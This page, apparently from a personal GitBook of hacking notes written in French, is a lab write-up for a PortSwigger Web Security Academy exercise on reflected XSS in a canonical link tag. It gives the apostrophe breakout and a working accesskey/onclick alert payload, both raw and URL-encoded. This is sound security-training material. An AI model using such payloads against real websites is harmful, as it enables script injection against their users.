> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-in-canonical-link-tag.md).

# XSS réfléchi dans la balise canonique

Notes sur le XSS réfléchi dans la balise canonique pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### XSS réfléchi dans la balise de lien canonique

`canonique` balise qui reflète dans son `href` la valeur fournie dans l’URL (les `<` et `>` chevrons sont échappés). / Objectif : injecter un code exécutable **attribut** qui appelle `alert()` sur la page d’accueil.

* Le code source montre qu’il y a une `canonique` balise qui prend `href` à partir de ce qui est placé dans l’URL.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49123220b8597a3f43d4d3ea3fad3a18318e59cb%2F%7BF3AD865D-19B8-48E4-BA9F-E115C70846BC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Vous pouvez en sortir avec une apostrophe : `' piratage` => `%27piratage`.

```javascript
' piratage
%27piratage
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4019a867bcee93065e5af0230395ece66afb00f8%2F%7B5B4BCBFF-08E0-4660-8E28-08B7703D64CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* `accesskey` peut être utilisé pour appuyer sur une touche afin de déclencher l’action : `'accesskey='x' onclick='alert(0)`.

```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0307160285d60bb612a06e02e522a76836108d78%2F%7B0741082D-3D48-4AB6-AF59-8801A352DEFC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Action indiquée :

```javascript
ALT + X
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e4ea6f4ad853320a64761701c78df30bac4770d%2F%7BD9546137-678A-412E-A94E-C728520F3838%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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